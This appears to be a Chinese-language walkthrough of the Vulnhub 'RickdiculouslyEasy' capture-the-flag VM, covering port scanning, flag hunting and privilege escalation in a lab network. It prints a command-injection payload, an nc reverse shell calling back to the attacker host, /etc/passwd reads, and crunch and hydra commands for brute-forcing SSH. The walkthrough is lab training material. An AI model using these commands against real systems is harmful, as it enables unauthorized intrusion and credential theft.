CTF挑战130分 | Rickdiculously 1.0

栏目: 服务器 · 发布时间: 6年前

内容简介:Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。官网:

Vulnhub简介

Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。

官网: https://www.vulnhub.com

下载链接

https://download.vulnhub.com/rickdiculouslyeasy/RickdiculouslyEasy.zip

靶机说明

靶机用ValualBox创建,是一个面向初学者设计的CTF,简单的Boot to root游戏,同时里面有合计130 points的Flag。

目标

Boot to root:获得root权限,并获得合计130 points的Flag。

运行环境

靶机:通过ValualBox打开虚拟机,网络连接方式设置为主机模式(host-only),虚拟机启动后会显示IP是192.168.56.101。

攻击机:同网段下有Windows攻击机(物理机),IP地址:192.168.56.100,安装有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Hydra、 Python 2.7、DirBuster、AWVS、Nessus等渗透工具。同样推荐使用Kali Linux作为攻击机,预装了全面的渗透工具。

信息收集

端口服务识别

启动虚拟机,由于IP已知,使用nmap扫描端口,并做服务识别和深度扫描(加-A参数),扫描结果保存到txt文件,命令:

nmap -p1-65535 -A 192.168.56.101 -oN rick.txt

CTF挑战130分 | Rickdiculously 1.0

汇总开放的端口和服务:

端口 服务 后台系统 或 提示信息

21 FTP vsftpd3.0.3 允许匿名登录

22 未知服务 Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)

80 http Apache httpd 2.4.27 ((Fedora)

9090 http Cockpit web service

13337 未知服务 获得FLAG:{TheyFoundMyBackDoorMorty}-10Points

22222 ssh OpenSSH 7.5 (protocol 2.0)

60000 未知服务 Welcome to Ricks half baked reverse shell

漏洞挖掘

渗透思路:

(1) 依次查看每个端口运行的服务,能直接利用则获得Flag。
(2) 先查看全部非Web服务,再查看Web服务,通常会通过Web服务入手获得 shell 后提权。
(3) 最后聚焦Web服务进行web渗透和提权。

0×01 端口13337:10 Points

一血,信息收集时Nmap扫描13337扫描得到Flag,10 Points。

FLAG:{TheyFoundMyBackDoorMorty}-10 Points

总分:1 flag,total 10 points/130 points

CTF挑战130分 | Rickdiculously 1.0

0×02 端口21:FTP匿名登录,10 Points

Nmap扫描发现21端口的FTP允许匿名登录,使用任何FTP工具或者FTP命令匿名登录21端口,如下截图使用Xftp登录:

CTF挑战130分 | Rickdiculously 1.0

获得FLAG{Whoa this is unexpected} – 10 Points

总分:2 flags,total 20 points/130 points

0×03 端口9090:https网页,10 Points

访问 https://192.168.56.101:9090/ ,在Web页面获得Flag:

CTF挑战130分 | Rickdiculously 1.0

FLAG {There is no Zeus, in your face!} - 10 Points

总分:3 flags,total 30 points/130 points

0×04 端口22:获得系统及内核版本

Nmap扫描发现22端口不是ssh服务,ssh在22222端口,使用nc连接22端口:nc -nv 192.168.56.101 22获得内核和系统版本:Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)

CTF挑战130分 | Rickdiculously 1.0

0×05 端口22222:ssh服务

Nmap扫描时发现22222端口运行ssh服务,使用Xshell工具连接,目前没有获得用户名密码,暂无法登录。

CTF挑战130分 | Rickdiculously 1.0

0×06 端口60000:用户shell,10 Points

Nmap扫描时发现提示Welcome to Ricks half baked reverse shell,这是一个shell,使用nc连接成功:nc -nv 192.168.56.101 60000,查看目录和文件发现Flag。

CTF挑战130分 | Rickdiculously 1.0

FLAG{Flip the pickle Morty!} – 10 Points

总分:4 flags,total 40 points/130 points

检测该shell权限,whoami命令显示是root,但是该shell只有访问Flag和执行几个命令的权限,无法进一步利用。

CTF挑战130分 | Rickdiculously 1.0

至此已访问全部非Web端口,共获得了4个Flag,40 Points。继续访问80端口web服务。

0×07 端口80:暴破目录和获得Flag

(1) 访问 http://192.168.56.101/ 进入首页:

CTF挑战130分 | Rickdiculously 1.0

Windows下使用DirBuster工具进行目录暴破,kali下可使用dirb工具暴破:

CTF挑战130分 | Rickdiculously 1.0

获得passwords目录,Flag和passwords.html页面,依次访问。

(2) 目录 http://192.168.56.101/passwords/

CTF挑战130分 | Rickdiculously 1.0

(3) 访问passwords目录下的FLAG.txt:10 Points

CTF挑战130分 | Rickdiculously 1.0

FLAG{Yeah d- just don’t do it.} – 10 Points

总分:5 flags,total 50 points/130 points

(4) 访问passwords.html页面,获得密码:

提示该页面存储了密码Storing passwords in a file called passwords.html

CTF挑战130分 | Rickdiculously 1.0

查看网页源码获得密码winter

CTF挑战130分 | Rickdiculously 1.0

0×08 通过robots.txt找到命令执行页面

(1) 读取robots.txt文件(也可以通过dirb暴破出rebots.txt):

CTF挑战130分 | Rickdiculously 1.0

发现有两个文件:/cgi-bin/root_shell.cgi和/cgi-bin/tracertool.cgi,第一个疑似root shell。

(2) 访问/cgi-bin/root_shell.cgi 提示正在建设中。

CTF挑战130分 | Rickdiculously 1.0

(3) 访问/cgi-bin/tracertool.cgi,发现ping命令执行界面,可以ping一个IP,输入127.0.0.1;id即可执行id命令:

CTF挑战130分 | Rickdiculously 1.0

获取shell

0×09 命令执行获得shell

(1) 命令执行好获得shell有多种姿势,使用nc反弹shell,执行命令127.0.0.1;nc -e /bin/bash 192.168.56.100 4444

CTF挑战130分 | Rickdiculously 1.0

(2) windows攻击机开启nc监听4444端口,并接收反弹shell成功:

CTF挑战130分 | Rickdiculously 1.0

(3) 读取/etc/passwd

cat命令被替换成了猫猫的图形,more命令在shell中不回显。

CTF挑战130分 | Rickdiculously 1.0

执行nl /etc/passwd读取文件,或者在执行ping命令的/cgi-bin/tracertool.cgi页面输入127.0.0.1;more /etc/passwd也可以读取

CTF挑战130分 | Rickdiculously 1.0

CTF挑战130分 | Rickdiculously 1.0

系统中存在3个用户:RickSanchez、Morty和Summer。

(4) 之前已经获得了一个密码winter,尝试用这个密码登录3个用户的ssh(22222端口)和FTP:用户名Summer,密码winter登录成功。

在xshell中ssh登录并获得Flag或者在xftp中登录Summer账号并获得Flag:

CTF挑战130分 | Rickdiculously 1.0

CTF挑战130分 | Rickdiculously 1.0

FLAG{Get off the high road Summer!} – 10 Points

总分:6 flags,total 60 points/130 points

0×10 查找其他用户的文件和Flag

(1) 查找用户RickSanchez和Morty的文件

命令find / -user RickSanchez 2>/dev/null和find / -user Morty 2>/dev/null,在home目录用tree命令列出文件:

CTF挑战130分 | Rickdiculously 1.0

发现可以读取两个用户home目录里面的问文件,分别进去查找隐藏文件。

(2) Morty的文件和Flag

进入Morty目录,发现journal.txt.zip和Safe_Password.jpg文件

CTF挑战130分 | Rickdiculously 1.0

将这两个文件复制到Summer用户的home目录:

CTF挑战130分 | Rickdiculously 1.0

然后通过用Summer账号登录FTP下载下来:

CTF挑战130分 | Rickdiculously 1.0

zip压缩包有密码,先看jpg图片,因windows下没有kali的strings命令,用Notepad++或者记事本打开,在前几行发现密码:Password: Meeseek The Safe Password: File: /home/Morty/journal.txt.zip

CTF挑战130分 | Rickdiculously 1.0

通过密码Meeseek打开journal.txt.zip压缩包,得到Flag和一个safe密码131333。看文字提示a safe, and a password

CTF挑战130分 | Rickdiculously 1.0

FLAG: {131333} – 20 Points

总分:7 flags,total 80 points/130 points

(3) RickSanchez的文件和Flag

发现可执行文件safe:

CTF挑战130分 | Rickdiculously 1.0

把safe复制到Summer的用户目录下,执行safe文件:

CTF挑战130分 | Rickdiculously 1.0

提示需要使用命令行参数Past Rick to present Rick, tell future Rick to use GOD DAMN COMMAND LINE argument

上面获取了密码131333,将其作为参数执行./safe 131333

CTF挑战130分 | Rickdiculously 1.0

获得FLAG{And Awwwaaaaayyyy we Go!} – 20 Points

总分:8 flags,total 100 points/130 points

同时得到Rick的密码提示信息:Rick可能是wheel组成员,具有sudo权限;Rick的密码按照顺序包含:1个大写字母,1位数字,1个旧乐队名字中的单词。

提升权限

0×11 生成字典,暴破Rick密码

(1) 先百度或谷歌找到Rick的乐队名字,百度搜索RickSanchez Morty Summer,得到瑞克与莫蒂,第一个搜索结果就是WIKI介绍,点击进去查看

CTF挑战130分 | Rickdiculously 1.0 CTF挑战130分 | Rickdiculously 1.0 这是一部动画片,在WIKI里面找到了乐队的名字The Flesh Curtains

CTF挑战130分 | Rickdiculously 1.0 (2) 生成密码字典:

密码第1位:A-Z中的一个大写字母;

密码第2位:0-9中的一个数字;

密码第3位:The或者Flesh或者Curtains,这3个单词之一。

在Kali下使用crunch工具生成字典,生成3次字典,追加写入到rick.txt文件,crunch命令参数说明: crunch 密码最小长度 密码最大长度 -t参数是自定义密码输出格式 ,代表大写字母 %代表数字

生成包含单词The的密码,写入rick.txt字典crunch 5 5 -t ,%The > rick.txt

CTF挑战130分 | Rickdiculously 1.0 生成包含Flesh的密码,追加写入rick.txt字典:crunch 7 7 -t ,%Flesh >> rick.txt

CTF挑战130分 | Rickdiculously 1.0 生成包含Curtains的密码,追加写入rick.txt字典:crunch 10 10 -t ,%Curtains >> rick.txt

CTF挑战130分 | Rickdiculously 1.0 生成的rick.txt字典有780行,可以在Kali中使用九头蛇、美杜莎暴破ssh。

CTF挑战130分 | Rickdiculously 1.0

(3) 暴破RickSanchez密码:

由于VMWare下的Kali机没有和VBox靶机的host-only网卡连接,所以使用Windows物理机的九头蛇暴破密码:

进入九头蛇目录,命令hydra.exe -l RickSanchez -P rick.txt -t 4 ssh://192.168.56.101:22222

CTF挑战130分 | Rickdiculously 1.0

暴破完成,得到login: RickSanchez password: P7Curtains

0×12 获得root权限

(1) 使用xshell工具ssh登录RickSanchez账号,密码P7Curtains

CTF挑战130分 | Rickdiculously 1.0

(2) 提权到root,执行命令sudo su -,密码P7Curtains

CTF挑战130分 | Rickdiculously 1.0

(3) 获得Flag

CTF挑战130分 | Rickdiculously 1.0

FLAG: {Ionic Defibrillator} – 30 points

总分:9 flags,total 130 points/130 points

游戏通关,已经提权至root,并获得全部FLag。

总结

突破点和坑:

(1) Nmap扫描发现的每个端口和服务都需要查看,防止遗漏Flag。
(2) 查看网页源码和图片的可打印字符,获取账号密码。
(3) 获取到用户Summer和密码winter后,反弹shell没有必要了,因为可以ssh登录。
(4) 难点和坑是制作RickSanchez账号的密码字典,首先要看英文提示Rick的密码由哪些字母或单词组成,其次要找到乐队名字的单词,乐队名是通过搜索引擎找到的,最后用 工具 做成字典,需熟悉字典制作工具的使用,或者用py写几次循环。

全部Flag列表:

得分 Flag 端口和位置

10 FLAG:{TheyFoundMyBackDoorMorty} 端口13337

10 FLAG{Whoa this is unexpected} 端口21,FTP匿名登录

10 FLAG {There is no Zeus, in your face!} 端口9090,https服务

10 FLAG{Flip the pickle Morty!} 端口60000,nc连接

10 FLAG{Yeah d- just don’t do it.} 端口80,passwords目录

10 FLAG{Get off the high road Summer!} 用户Summer目录

20 FLAG: {131333} 压缩包journal.txt.zip

20 FLAG{And Awwwaaaaayyyy we Go!} 可执行文件safe

30 FLAG: {Ionic Defibrillator} root根目录

* 本文作者:Setup,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

零成本实现Web性能测试

零成本实现Web性能测试

温素剑 / 电子工业出版社 / 2012-2 / 59.00元

《零成本实现Web性能测试:基于Apache JMeter》是一本关于Web性能测试的实战书籍,读者朋友们在认真阅读完《零成本实现Web性能测试:基于Apache JMeter》后,相信能够将所学知识应用到生产实践中。《零成本实现Web性能测试:基于Apache JMeter》首先介绍基础的性能测试理论,接着详细介绍如何使用JMeter完成各种类型的性能测试。实战章节中作者以测试某大型保险公司电话......一起来看看 《零成本实现Web性能测试》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

SHA 加密
SHA 加密

SHA 加密工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具